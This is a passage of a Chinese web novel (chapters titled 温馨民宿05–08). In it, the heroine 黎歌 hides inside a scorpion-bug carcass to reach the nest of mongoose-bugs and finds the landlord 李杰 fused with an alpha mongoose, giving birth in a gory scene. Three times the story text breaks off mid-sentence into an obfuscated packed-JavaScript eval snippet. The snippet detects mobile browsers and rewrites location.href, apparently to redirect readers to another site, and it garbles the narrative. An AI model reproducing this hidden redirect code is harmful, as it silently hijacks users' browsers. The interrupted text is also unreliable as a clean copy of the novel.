“当然是房东的,你为什么会问这个问题,你不知道吗?”小莲的悲伤一扫而空,警惕地看向黎歌,“你还没有虫化吗?算了,我不能再跟你聊下去了,我要去放哨了。你为什么不关门,还不想睡吗?” 黎歌心里直打鼓,道:“我想去卫生间。” 小莲点点头:“别走错房间了,走错是很危险的。警惕我的房东,如果再看到他的话,请拉绳子叫我过来。” 她转身朝反方向、楼梯的方向走去,黎歌探头看,外面一片漆黑,很快就追踪不到人影了。 现在,门是敞开的。 “喂,002号,你做了什么,她为什么会同意你出去?”寒兔在另一个房间问,她们的房间紧挨着,她听到了全部过程。 “队长,难道她没有死吗?” “是啊是啊,不是扯了绳子就会死吗?她是不是故意对我们隐瞒了信息?” “你们猜。”黎歌留下一句令人遐想的话。 她不会笨到主动把寒兔放出来,不过,这个房间很可能困不了寒兔多久,对黎歌来说,她的危险程度跟这里的阿尔法虫一样。毕竟她是注射了阿尔法兔基因的人。 得早她一步把阿尔法虫找出来。 黎歌走出房间。 【支线任务一:找到虫巢的阿尔法基因,并夺取基因,进度10%。】 【触发隐藏任务:虫域内有一个活人,你是否愿意拯救?】 骨文跳出了两条提示,看来目前离开房间的决定是对的。 但是多出了条隐藏任务……活人吗?李杰?小莲?还是小莲提到过的在四楼的张凡?从声音的味道来说,李杰和小莲听起来都有一种死气,黎歌下虫域经验不多,不好判断他们到底算是活着还是死了。 夜深了,没有窗户的走廊一片墨黑色。 房间里的光在门框里面戛然而止,像有型的物被一层玻璃挡住了一样,无法渗透出来。 还好黎歌的视野足够清晰。 【你已开启【寻踪】】 以走廊为界限,两边的房间门对称分布着,这边除了她和寒兔的房间以外还有两间房,对面有三间房,刚才,李杰是朝着左边的方向离开。 黎歌往左边房间找过去。 隔着房间门,黎歌看见里面的布置和自己的房间不无两样,十几平的狭小空间里摆放着一张床,仅此而已。 不是它。 黎歌捏着钢刀前往下一个,还是一样的情况,而且,里面并没有李杰的踪影。 那就在对面三个房间里了。 透过不知道什么材质做成的门板,房间里面的陈设在【寻踪】的窥探下一览无余。这间房有别于其他房间,里面多了木制的衣柜,书桌上堆着一些零碎的东西,地毯、衣架,摆放着牙膏和洗脸巾的盥洗槽,1.5米的床上铺着层带着小花花纹的被子。 很明显是主人的房间,大概率是李杰的房间。更重要的是,里面暂时没有人。 黎歌把手放在把手上,尝试拧了拧——门没有上锁。 35. 温馨民宿05 她开门,走了进去。 仿佛被包裹进一股干燥而又气闷的气息里。这个房间和她的门对着门,大小和高度应该一致,除去家具的不同,本来应该没什么太特别的地方。 可黎歌一踏入房间,不可忽视的异常感便迎面扑来。 脚下的地板格外地坚硬。天花板别样得圆润,挤压着微寒的空气,这四面不透风的空间令黎歌有一种别样的熟悉感。对于刚刚经历过一次虫域的人来说,很难不产生联想。 就好像进入了洞穴一样。 这里既然是虫域,想必包括环境在内也已经虫化。 提到洞穴,是蝶域和雀域的可能性便下降了,以黎歌的认知,蝴蝶和麻雀的栖息地以树枝、树叶为主。这个虫域的主人,或许就在蝎虫和獴虫之间了。 另外,这个C级虫域和鼠域有着天然的区别。鼠虫的进攻性和兽性十分明显,为了抢夺贫瘠土地里“随机掉落”的食物倾巢而出。但进入温馨民宿到现在,黎歌甚至还不知道虫域的主人是谁。或许,它们有着别样的目的,这个目的让它们需要暂时性地隐瞒行踪。 床铺和一些小家具一览无余,黎歌用钢刀挑开了衣柜,里面除了悬挂着两套换洗衣服空空如也。 书桌上摆放着一排形状各异的——动物骨头。有些是完整的头盖骨,眼骨大的能埋进去一颗拳头,下额很长,有些是完整的骨架,巴掌大小,连着长长的尾骨。旁边的盒子里摆放着各式各样的工具,镊子、旧牙刷、精细的美工刀和几瓶药水。这些骨头标本,应该是李杰自己亲手做的。 除去标本以外,黎歌还在未上锁的抽屉找到一本书。 翻开是熟悉的中文,她长舒一口气。 【邮差公式书】 有可能废土还存在着邮差这个职业,但黎歌联想到了其他,先前在暗网中发布兵团“内部资料”的帖子,发帖人的名字就叫——邮差。 对方呼吁人虫在5分钟内把资料背下并纪录下来,方便线下传阅。大概率这个笔记的由来也是如此。 翻开公式书,黎歌眼前一亮。 【雀虫:猛禽,气候适应性极强。体型平均为2米,尖喙利爪,牙齿为锯齿状,视力范围30公里。常见捕食对象为:人类。 雀虫虫域多为非固定虫域,掠夺性及攻击性极强,曾造成人类一个城市灭亡。虫域为稳态虫域,适合农民职业挑战并针对性提升进化,资源包括: 藏宝地:因为雀域为移动虫域,虫域内时常能找到其偶然掠夺的资源,基因碎片、珍宝,稀有度不等。 土壤:稀有。雀虫短暂停驻的落脚点,土壤曾有偶发性变质,人类靠着这捧土种植出了第一颗土豆,避免了灭绝惨案。 肉质:酸涩。雀虫肉质嚼如泡了醋的蜡烛,难吃,但人类在它们的味蕾中近似于牛肉味。】 黎歌:“……” 不是,那么恐怖吗?她以为雀虫就是小麻雀而已,野地里架个簸箕撒一把米就可以捕捉的可爱笨蛋。 原来是上游食物链的大佬,失敬! 【蝎虫:冷血变温动物,耐寒耐热。曾经长时间出行于荒漠地带,属于晚进化物种。因为蛋白质含量高,肉质坚实,一度成为人类的盘中餐,牲畜替代肉类。进化体有腮,为水生生物。外形无特殊变化,体长多见为1米。常见捕食对象:鱼类。 据有效记载,已发现蝎虫虫域约13处,见于湖泊、海洋中,为稳态虫域,适合临时工职业挑战并针对性提升进化,资源包括: 螯钻:稀有。螯肢覆盖一层坚硬的矿物质,名为黑钻,可作为装饰及武器制作。与人类基因匹配性中等,基因编辑获得无可比拟的硬质化能力。 毒尾针:稀有。毒性 肉质:美味。蝎虫肉质鲜美,成年蝎虫口感为冰淇淋口味,是完美餐桌食物。】 【蝶虫:拟态生物,天生的伪装高手。能够自行调节体内色素改变翅膀的颜色,伪装成花、树枝、石头等捕猎。翅膀纹路酷似人脸,能模拟人类婴儿啼哭。紧急时会吐出胃囊保命。 资料有限,已知资源仅有胃囊:蝶虫的胃囊可以独立于蝶虫存活,时间可长可短,胃囊消化能力极强,未做保护措施请勿靠近。】 【獴虫:穴居动物,保留着群居的生活习性。曾被雀虫灭绝,目前少量生活于荒漠,天敌为沙虫。虫域均为小规模,常见捕食对象:蛇虫、蝎虫。虫域价值低,通常为D级,但特殊情况等级会大幅提升至A级,猎杀虫域的一切入侵物种。 特殊情况为繁衍季节:繁衍是獴虫的头等大事,繁衍期间,阿尔法獴的攻击性上涨一倍。届时哨兵系统启动,要找到阿尔法獴并不容易。】 全程看下来,黎歌的大脑有点宕机。 你的动物世界和我的动物世界好像不一样。 公式书只有这些信息了。李杰在针对他已经获取到的资源,做对应的梳理和调查。当然,要获取这些信息本身就不容易,废土上生存率不高,很多人虫在这个世界待不了多久就死了,作为传播链的一部分,很容易造成信息丢失。越是信息闭塞的地方,信息就越昂贵。 现在棘手的地方在于,这些公式好像怎么套都是对的。 民宿的房间会缩小、会吃人,很像是蝶虫的胃囊。 墙壁和门所用的特殊材质,连寒兔一行人都轻易不能毁掉,很像蝎虫。 再回想下,在小莲说过的话里,也有个突兀的信息点。 房东的孩子要出生了——这又跟公式书最后一页,獴虫的情况对上了。 假设这是獴域,虫域内的一切遵循獴虫的种族习性,那就太恐怖了。看完暗网后,黎歌已经知道这个世界人类的婚姻观和生育观变了很多,人虫们不愿意生育,从片面信息推断李杰一直是独来独往的状态,黎歌也没在温馨民宿内见到其他女人…… 除了小莲…… 黎歌推理这一番,把自己脸色给推差了。有阵子由于考试的需要,她对社会热点关注很勤快。新闻媒体和自媒体好像离了女人就写不出稿子,出事了标“女”,引战用“女”,显得女人的态度和行动对这个社会的前进和发展有着至关重要的影响。那些急需帮助的女性痛苦,家庭暴力、性迫害、职场歧视等等,都成了流量狂欢的一部分被轻拿轻放,看得人极度不适。 是,废土确实不存在公平、正义和她观念里的法律,可是这些东西都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16810488|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在她的脑子里。无论中间有什么黎歌不知道的故事,但小莲只是个十三四岁的小女孩,她不能被当成生育工具。 隐藏任务说,虫域内有一个活人。这个活人,不会指未出生的孩子吧? 黎歌想得头都大了。 刚才不应该放小莲离开的! 怎么把她找回来?手指在书上不住的敲击着,黎歌看了眼李杰的床边——那里也有根绳子。已知拉绳就可以召唤小莲,但是,操作不当的情况下可能会触发“胃囊”功能,被虫域吞噬掉。 就在她犹豫的时候,门口传来了动静,有人在拧门把手。 黎歌惊了下。她没有听到任何人走进的声音,门口的人好像是凭空掉下来的那样! 【你已启用【寻踪】】 门口的人秃头、酒糟鼻,神情迷蒙。 就是李杰! 这会儿自己的登堂入室要被抓个正着了,在要不要动手犹豫中,黎歌短时间内硬是把自己的脾气摁住了——现在还不行,李杰很多信息不清楚,如果失误,自己真的会死在这里。 她打量了下,在门被打开之前,迅速地藏进了被窝里。 可能是因为精神高度得集中,或是什么,身体里翻涌着一股热气,这跟先前在寒兔的车上时的感受几乎一模一样。 【解锁智力天赋:重瞳。聪明的你发现了,眼睛只是视觉的辅助器官,听力、味觉,将让你的视觉进一步拓展。你的视角绝对自由。】 无数的狙击点闪烁在房间里。黎歌透过被子,看见李杰踏进来,背过身去关门时,手仔细地上了锁,接着脸上浮现了诡异的笑容。 回过头,再面对空荡荡的房间时,他脸上的笑容又消失了,回到了门外时迷蒙的状态。 他毫不犹豫地、径直朝床走来。 可能是被子太热了,黎歌手心出汗,握着钢刀的手滑的抓了又抓。现在的情形似乎要脱离她的掌控了,铡刀在前,自己被迫要动手。 至于后面会发生什么,已经不是现在的自己可以预测到的了。 刀尖已经抵上了被子,狙击点落在李杰的喉咙上,黎歌倒算他靠近的距离,准备出手。 正在此时,他突然蹲了下去。 他伸出一只手,去够床底下的东西。 黎歌一愣,狙击点游离到床下,全身汗毛竖了起来——她的正下方,床底下,卧着一具一米长的蝎虫!!! 李杰拉了下,蝎虫毫无反抗被他拽了出来。是尸体。蝎虫尸体无色无味,加上黎歌的注意力都在公式书上,和李杰身上,根本没有发现床底下有这东西! 但凡这是个活物,自己可能已经被毒尾针送走了。 李杰拉着蝎虫,又回过身朝门外走去。看来,他并没有发现自己。 重瞳的黑色的狙击点观察到了一个诡异的动作。 李杰捂住了自己的肚子。 他的肚子出乎意料得大,大到已经超过了肥胖的界定。他一只手温柔地按在自己肚子上,一边往外走。 “我的孩子,该吃饭了。” 黎歌:“……” 找到了,孩子的妈妈。 就是房东他自己。 36. 温馨民宿06 黎歌有个大胆无比的想法。 她毫不犹豫地伸手,拉下了床边的绳子。 绳子很轻,轻到没有发出任何声响。 房东只差几步就可以拖着蝎虫出去,却在黎歌拉动“警报”后突然做出了抛弃的动作,将蝎虫丢下,开门逃了出去。 紧接着门外就传来了熟悉的敲门节奏。 “笃。房东,我收到了你的讯号,请问,你在房间里面吗?” 黎歌跳下床,如一阵风拂过,逼近蝎虫,拽着它庞大又厚重的身体,将它拽回床底下塞了进去。 做完这一切之后她打开了门。 迎着小莲诧异的目光,黎歌已经一回生二回熟了:“他刚走。” 小莲目露狠光:“你为什么会在房东的房间里面?夜深了,为什么不回自己的房间呢?我精心为你准备的房间,你不喜欢吗?” “没有,我只是走错了。”黎歌睁着眼说瞎话,“走廊好暗,连盏灯都没有,我上完卫生间回来都找不到路了,我视力又差,只能摸着墙壁往回走,数着倒数第三间房是我的房间……” “是对面的倒数第三间!”小莲很不满意道。 “下次我一定记得。”黎歌“认错”态度诚恳,顺便道,“你要去找他吗?这次我确定,他是往那边去了。” 黎歌指向隔壁李杰消失的位置。 “是,麻烦你下次要尽早通知我。因为你的失误,我的房东一直在梦游中,我要尽快找到他!” 小莲扭头要走,黎歌不愿意放弃这难得的见面机会,一句话令她停住了脚步:“住在四楼的张凡呢?你不打算去找他吗?” 房间澄黄的光打在小莲半边脸上,迎着光的那只瞳孔熠熠生辉,但整张脸却又有着与它匹配不及的焦虑:“可是,张凡有自己的事要做。” 说完这句话,小莲头也不回地走了。 倒是多余问这句,没有套出有用的信息来。 黎歌退一步回来,重新进入李杰的房间,把门关上。 现在,这里没有其他人打扰了。 她在掌中转起了刀花,拎着钢刀走到床边,拽着蝎虫的螯肢,将蝎虫的尸体拖出来。 玄黑的身体散发着近似于冷冽的金属光泽。这只巨型蝎虫目测有1.5米长,螯肢有合抱那般大,尖端锋利无比。前腹部厚实有力,尾巴节段式的结构垂着地上,末端连着它的终极武器——泛着青光的毒针。 造物主曾经赠予它近乎完美的战斗能力,螯肢负责力量钳制,尾刺灵活地袭击,不知为什么会被逼得退回海洋。螯肢的尽头是腮的位置,已经褪了色,足以说明这只蝎虫死了有几天了。 刀背磕了磕,发出了坚硬的回响。黎歌从房东手里“抢回”它的目的很简单——她要藏进这个外骨骼里面,然后,等着房东回来接“它”。 几乎可以肯定,李杰是獴虫,而且是处于繁衍状态下的獴虫。 根据公式书的介绍,獴虫是一种攻击性并不明显的生物,在荒漠中会遭到沙虫的驱赶,形成的虫域规模小、价值低。而这就是让黎歌困惑的点。 李杰能够掌握不少稀有种的资源,废土生活经验远比许多人虫要丰富,虽然被嘲讽祝福很是普通,能平平安安活过52年,所谓普通未必是广义的普通,一些D级虫域应付起来应该不难。 再有,他一直都生活在安全的风城,来了隍市后,也放弃了冒险的生活,安心开了民宿,理应是远离虫域的。为什么会是他被虫化呢? 唯一能解释得通的,大概就是从黑市买来的东西有问题。 大概率东西就收在储物间里。 黎歌不认为进入储物间只是简单的开关门的事。很明显,温馨民宿的结构已经悄无声息地被虫域改变了,而蝶虫胃囊的应用至关重要。所以,比起鼠域四通八达的隧道,这个虫域内的结构更加复杂——它更像是活物。 与其闯进去,不如等人带她进去。 黎歌用钢刀的刀尖去挑缝隙。真硬啊,感觉在挖矿石一样!公式书说它最后的部分硬度堪比黑钻,想必是不可能砸开的、 摸索了一阵后,她选择了前腹侧边节肢的缝隙,将刀插了进去! 残留的透明血水溢出来,黎歌闻到了淡淡的甜味。大约十五分钟后,她终于沿着蝎虫的“腰缝”开了一道口,然后往外剜蝎肉。 蝎肉透明中带着一丝粉嫩,钢刀划过,肌理分明,感觉在制作一道美味的生鱼片。尤其是那阵甜甜的味道孜孜不倦地往她味蕾里钻,一时间让人忘了自己身在那里,好像在刺身的品尝美味。 越剥越熟练,黎歌很快就把蝎虫的前腹掏了个精光。掏出来的肉无处摆放,想到衣柜现在只装了两套衣服,剩下的空间刚好可以放肉。 在处理完一切后,她把自己团成一团,缩进了蝎虫的空腔中。 盖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812390|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了外骨骼。 腹腔内的血肉湿湿地黏着自己,并不舒服,但万幸味道并不腥臭。又过了十几分钟,猎物回来了。 他打开房门,毫不犹豫就拖起被他丢在原地的蝎虫往外走。 黑色的狙击点在走廊扩散,又聚合到隔壁的房间门口,黎歌看见他从嘴里扯出了房间钥匙,插进钥匙孔,拧开房门。 好黑的房间,黑得黎歌一度以为自己瞎了。 李杰拖着她往里面走,十步,二十步,五十步……他笔直往前,前进的步数已经远远超过了一个15平房间的长度。 周围的颜色从黑色慢慢变红,不,不是红色,现在,他们正从一个肉墙砌成的空间穿过,鲜红的肉还在墙壁上跳动,上面的瓣膜湿答答地黏着未断的筋。 肉墙下站起了一排又一排的棕色生物,它们曲着腿,两只黝黑的小手揣在胸前,脑袋围绕着房东转动着。 眼圈是黑的,看起来仿佛被掏空了般空洞,当他们挤在一起时,就好像密密麻麻的莲蓬洞嵌在肉墙里。黎歌瞬时就想到了最早死去的那个队友说的话——他说看到了很多眼睛,看来就是它们了。 黎歌一眼就认出来了它们的身份——狐獴,当然,这里的它们应该称之为獴虫。 蝎虫被拖到了一个圆形的空间内,所有的狐獴围绕着这个空间站成了一个圈,将李杰围在了中心。 同样被围在中心的,是一个肉砌成的床铺,李杰将自己轻柔地放在上面,一只手安抚着肚子,双目散放着柔软的神情。 “我很快就可以有家人了。”李杰幸福地叹了一句,无比满足。 所以,这里好像是李杰给自己准备的产房。 四楼,寒兔已经等得不耐烦了。 作为稽查部唯一一个全员临时工的队伍,她手下多得是力量型的队员,在一个C级虫域中困上这么长时间,已经是一种屈辱了。 她对着通讯器问:“你们是要在这里长住吗?” 有人接过话:“队长!我的黑钻拳套顺利把墙壁打穿了一个孔,现在能挤出去了。” “队长,我这里也差不多,经过两个小时的努力,我把墙壁切开了,现在,我和墙壁对面的队友在一起。” 准备得差不多了。 寒兔走到了门边,对准门框的缝隙处——只要有缝隙,就一定存在破绽。她抬起腿,像举起一把战斧般,直直地朝门劈了下去! 37. 温馨民宿07 金属碰撞迸发出火花的臭味,在第二次攻势下,门框出现了一道裂缝。 当初还是清剿者时,兵团安排过许多虫域作战训练,普及不同虫域的习性、商业价值。这些训练中,高阶清剿者的出勤率不到10%,里面包括了寒兔。所有人心知肚明,兵团砸这些训练费目的只是让清剿者分辨虫域里具备商业价值的部分并带回,而不是真含辛茹苦想培养他们成为生物学家。 少来认识敌人、了解敌人那套,在绝对力量面前,一切规则都是虚的。这是来自师父的教诲。 “兔,所有的规则只是为了掩盖自身的懦弱,它要么在第一时间杀死你,要么,它做不到。” 这栋温馨民宿用的是逐个击破的办法,将她们一一分开,各自关在15平米不到的屋子里,说明这只阿尔法虫大概率是个废物。 如果把她们全吃了,说不定还能融合一些基因,进化得更强。它没这么做,说明它不仅是废物,而且很蠢。 每个生物变强的机会只有那么几次,失去了,就永远失去了。 当第三次攻击时,缝隙彻底崩塌,像鸡蛋壳一样碎裂,一瓣瓣剥落在地。寒兔走上前,又踹了一脚,顺利地在门上又开出了一道门。 门外是一片漆黑的走廊。 疙瘩一样的东西东西从天花板剥落下来,一只一只,落在她左手边。黑黝黝的大眼睛排成排,它们揣着手,不足膝盖高的个子,细胳膊小手,孱弱连耗子都干不赢,却敢踮着脚挡她的去路。 通讯器响了起来:“队长,我见到了虫域的主人了,居然是一群獴虫。我以为它们早就灭绝了。看起来进化程度不高,应该融了其他虫的基因。” “我也见到了。我打穿了墙壁,理应要出去了,却又进入了另一个房间,并且突然开始缩小!” “大家别慌,只管破墙就好了,很快就能出去了!”一道带着喜悦的声音急冲冲加入了聊天,“队长,我出来了!虫域的房间并不是无限复制的,在有这么多人同时破坏的情况下,漏洞很快就会出现。” 寒兔听出来,是队员莉莉的声音。刚听完这段,走廊突然活过来了似的往后撤,地面开始翻转,变成了墙壁,而墙壁倒转成了天花板。 她跃起来,双马尾在空中划过优美的弧线,落在新的地面上。 在接收到莉莉的喜讯后,队员们热闹起来。 “你原来住哪儿?我换个方向砸墙,直接砸到你的房间不就行了!” “看来砸墙是最好的办法!大家注意,尽量别开门,开门后房间会加速缩小。砸墙过后,獴虫就会出现,开启第二个房间,虽然也会缩小,但是速度慢很多,只要加快破坏墙壁还是有机会逃生!” 你一言他一语,她的队员已经找到了出去的办法。一个普通C级虫域就想吞掉稽查部战力最强的分队,那群獴虫真是异想天开。 不过…… 走廊开始缩小,但寒兔没有着急动手,问:“找到002号了吗?” “回队长,没有看到。” “我也没有看到。” “队长,我觉得她可能已经死了。她的祝福据说是通感,我想不出来这个祝福有什么用,跟阿尔法獴谈心吗?” “我怎么听说她也能操纵时间?之所以能逃出基地,就是一次次试出来了,不然凭她不到100的战力凭什么可以击败阿尔法鼠?” “就是就是。她刚才开门出去了,我们牺牲了几个兄弟姐妹已经试出来了,开门应该必死无疑!” 寒兔冷笑:“据说?听说?应该?所以你们跟着她一路,根本没有看透她的祝福。” 通讯器对面的人们集体沉默了。 寒兔环视这碍事的房间一圈,烦躁道:“她出去干什么,她目的是什么,没有人知道。第一监禁预程序不是随便对谁都能启动的,兵团一定是看出了什么。绝对不能放任这么危险的人虫离开视线!” “我说了,我要在这个屠宰场里杀了她,你们要么找到她的尸体,要么,把民宿拆个零碎也要把她找出来!” 蝎虫腹腔内,还残留着甜美的肉香味。 汁水滴落在黎歌的唇上。在吃过难吃的营养剂后,品尝着这冰淇淋味的肉,对比之下,简直是无与伦比的美味。 美味归美味。她现在屈着腿依偎在蝎虫的怀抱“里”,一只手压着壳的裂缝处,陷入了尴尬。 【支线任务一:你找到虫巢的阿尔法基因,确定为阿尔法獴,请夺取基因。进度40%。】 她顺利地找到了獴虫的巢穴所在。 更顺利地确认了这个虫域的阿尔法基因是阿尔法獴,而且,就是李杰本人。 就是,稍微赌得有点大了…… 黎歌原先的设想是,进入核心巢穴后,找机会从蝎虫里出来,伺机杀了阿尔法獴夺取基因。 但李杰把她拖到了产房的正中央。 他要用蝎虫尸体干什么呢?肯定不是泡药酒。 对于行将临盆的产妇而言,蝎虫对他而言最大的价值,就是美味的蝎肉。 待会儿他满心欢喜地打开蝎虫,发现有人贴心替他开好了壳,里面的肉不翼而飞,替代它的是一团新的食材。虽然没有吃过,但是黎歌觉得自己的肉应该不是甜的,从口感上跟蝎虫无法比拟。 也就是说,她会迎来李杰和这一圈獴虫的暴怒。 公式书介绍过了,繁衍期的獴虫战力会翻倍,属于特殊时期,虫域可能会从C级升级成A级。 应该不会那么倒霉吧…… 根据过往的经验,心里有个声音自动抢答:会。 一路过来的路上,黎歌数了数獴虫的数量,约莫20只左右。不确定性在于,有些獴虫中间好像消失了。 【支线任务一:恭喜你发现了獴虫的哨兵系统,距离夺取基因又进了一步!进度50%。】 哨兵系统?好熟悉的词。黎歌想起来,先前互联网上有一段出圈的视频,一只狐獴堂而皇之站在摄影师的脑袋上面放哨。 当时刷题刷得头昏,她就顺便搜了搜动物世界了解了一下,解解压。 狐獴作为群居动物,族群为母系氏族,以狐獴女王为尊。族群内大致会有两种分工,一种为保姆,专门伺候女王和她的孩子,另一种就是哨兵,它们从日出放哨到日落,警惕着任何危险的靠近。 有些狐獴即便成了家养宠物,基因里自带哨兵本能,在饭桌、洗脸盆、窗台积极得站岗放哨。 看来獴虫和她认识的狐獴之间存在相似性。 趁着蝎虫还没有被打开,黎歌抓紧时间找出去的路,但是悲催地发现唯一的路就是入口那一条。 这座肉块砌成的房间预估有近40平,围绕着产床站着的有16只保姆獴虫。它们抬着脑袋神圣地注视着它们女王的肚子——那里孕育着全族希望。 它们逐个靠近李杰,把爪子放在他鼓囊囊的肚子上,似乎在和他肚子里的生命做链接。 李杰的神情很幸福。先前看他悬挂在楼梯和走廊的照片,只能看出是个严肃老头,此时他眉头舒展,岁月雕刻出的皱纹和褶皱也平缓了许多,些许苍老的声音娓娓道来。 “我感觉到了前所未有的宁静,真好。” “今后,你们不用再流离失所。这栋民宿就是我们的家,我们的洞穴。把你们带回来是我人生中最正确的决定,你们延续了我的生命,选择我一个非族类当作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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黎歌仔细回想她说的话。 “一般情况下,我不会离开房间……” “除了你们以外,我也住在四楼……” 等下,四楼只有七个房间,黎歌查看了四个出租间、房东卧室,一个卫生间,剩下唯一的房间就是现在这间! 所以小莲始终被困在这个肉砌的房间里! 执行完任务,她就得回来。 她也是唯一一个人类哨兵。 【隐藏任务:獴域内有一个活人,你发现了线索,她很可能就是小莲。进度20%。】 对面的肉墙壁突然蠕动,肉方块被吐出来。 狙击点自由地贴近,把内容看得清清楚楚——方块有合抱大,被一层黏膜裹住。里面有缠成结、五颜六色的肠子,碎骨头,破衣服,还有无法被消化的毛发。 仅靠着黑色的衣服,黎歌立刻就认出来,这就是被房间夹扁的第六支队的队员! 小莲和两只獴虫走上前,把肉块抱起来。因为身高的差距,那两只哨兵獴虫只是举着爪子,肉块整个由小莲抱着,黏膜的粘液挂在她的睡衣上,她面无表情,径直走进产房,把东西放在产床旁边。 如果她还活着,如果她有意识,现在她手里的触感足够给她带来一段时间的噩梦。 黎歌大脑开始飞速运转。 现在,同时要处理的信息有点多了! 要不要救小莲,能不能救,怎么救? 李杰产子对自己有没有危害? 虫域出口在哪里? 脑子里还没有捋出个一二三四来,黎歌突然意识到,那两只哨兵獴虫还在继续向前走。 一直走到黎歌,不,是蝎虫面前,接着,把爪子放了上来。 它们要用餐了! 38. 温馨民宿08 心跳声在这密闭的蝎虫尸体内回荡。 黎歌知道自己藏不下去了。 她松开了手从蝎虫身体里翻滚出去。 哨兵獴虫首先捕捉到了侵入者的气息,四爪着地追了上来。 稍微迟疑一秒都会被捉住,所以黎歌几乎毫不犹豫地——攥住了其中一只冲上前的獴虫,甩手就往李杰的方向丢过去! 此起彼伏的“咕噜咕噜”叫声响了起来,保姆们面对从天而降的哨兵獴方寸大乱,与此同时,坐在产床上的李杰捂着肚子发出了产前的惨叫,一部分哨兵立刻调转了目标,奔向女王进入守卫状态。 一片混乱中,黎歌抢到间隙踏上了墙。身后五六只獴虫穷追不舍,底下是肉墙湿滑的触感,踩在上面的每一步都让人浑身起鸡皮疙瘩,但黎歌不敢停下,潜意识往出口的方向跑。 这些獴虫的攻击力给人感觉并不强,甚至比鼠虫更弱。 她现在唯一能感受到的威胁就是出口的自主权。 怕什么来什么,她刚刚起这个念头,只见粉嫩的肉从肉墙里长了出来,原先的出口消失了。 这不是围堵吗! 黎歌刹车,那些獴虫也跟着刹车,一个个端着小手站在墙上直立地看着她。 此时,产房内的保姆们迎来了新一轮的混乱——比起侵入者,更加令它们愤怒的事发生了,那就是蝎虫被掏空了! 可女王马上就要生产了! 生产需要摄入大量的食物和能量! 它们交头接耳了一阵,两只保姆獴爬到了小莲的脚下,将她刚才取回来的肉方块举了起来,合力抬进了产房,放在了产床上。 汗水从李杰的脑门滚落,他正在承受生产的痛,具体是什么样的痛黎歌不了解,男人生子实在是太猎奇了,可以的话黎歌完全不想了解! 他将一只手撑在身后避免身体瘫软下去,屈着两条腿并打开,好像这个动作可以缓和他的痛苦。 一只保姆獴爬上产床,将他肚子上的衣服掀开。 黎歌愕然。只见那鼓囊囊的肚皮上,正嵌着一只獴虫——不是镶嵌,更像是融合体,李杰将它大半的躯体融合进了自己的肚皮,剩下四只爪子和半截脑袋,黑眼圈里头的眼珠子甚至是活的。 那对眼珠子往左看,李杰便往左看,往右看,李杰也跟着看向了另一边。 而它的肚子恰好也是临产的状态,视觉上看上去,在本就圆滚滚的肚皮之上又长出了一个小尺寸的肚子! 是她误会了吗? 难道李杰只是傀儡,肚子上的才是真正的阿尔法獴? 【精神值产生了波动。】 【精神值:60。】 【精神值:55。】 【支线任务一:你找到了阿尔法獴,请夺取基因。进度50%。】 视觉上的冲击开始影响黎歌的精神值。 薄膜被撕开,保姆獴捧着血肉模糊的尸体走向李杰,它的个子不高,必须要高高地举起,才能确保食物刚好能够到被食用的位置。 李杰歪过脸看了眼它掌中的碎肠子,难受地扭开:“我不吃这个。” 更多的保姆獴加入了队列,它们捞起恐怖的食物将李杰围在中间。 好像在说:“吃下去!” “为了孩子可以生下来,你必须要它吃下去!” 他好像沦为了一个生产机器,他的个人意愿悉数要让步于孩子,他是孩子的载体,他存在的唯一意义就是把孩子生下来,为此摄入不堪入口的营养,忍受生育的无尽痛苦折磨都是应该的。 而在保姆獴一再坚持之下,肚皮上的阿尔法獴、真正的女王抬起了眼睛,李杰脸上的痛苦霎时消失了。 他的表情变得平静又幸福,心甘情愿张口去啃咬带着血的食物。 他的肚皮裂了一道缝,像西瓜那样被崩开。第一层皮崩开,露出了血红的肉。再喝下一口,血红又露出了第二道缝……他的肚皮就这样一层跟着一层裂开,直到脂肪炸出来…… 黎歌受不了了。 【精神值:50(警告,你的精神状态即将跌破50,极易被污染!)】 【精神值:42(伟大的全知者,请立刻返回安全区!)】 精神值在疯狂地下跌! 眼前出现了重影。 哨兵獴虫们发现了她的异状,瞳孔立刻变成了血红色,指甲飞速地长长,以完全的兽态迎接劲敌。 黎歌蹲在墙上,一只手扶着脑袋。先前在鼠域的那种凌乱感再度出现了,下跌的精神值放大了她和虫域的共振。 一段碎片记忆链入进她的脑袋。 “李老板,我听说你在收集一些稀罕的东西,你看我这几只獴虫能卖给你吗?价格随便你开,我只要能换点食物就好!” “你怎么可以把獴虫带出虫域!你不知道隍市是禁止人类以外的生物进入的吗?” “我……我不知道,我第一次下虫域,没有人告诉过我。怎么办,很严重的罪吗?可是它们好可爱啊,小脑袋,小爪子,一双黑眼圈总盯着窗外看。穿越之前,我的邻居就养过狐獴当宠物,我也想要一只,但是太贵了没舍得买。” “什么是宠物?” 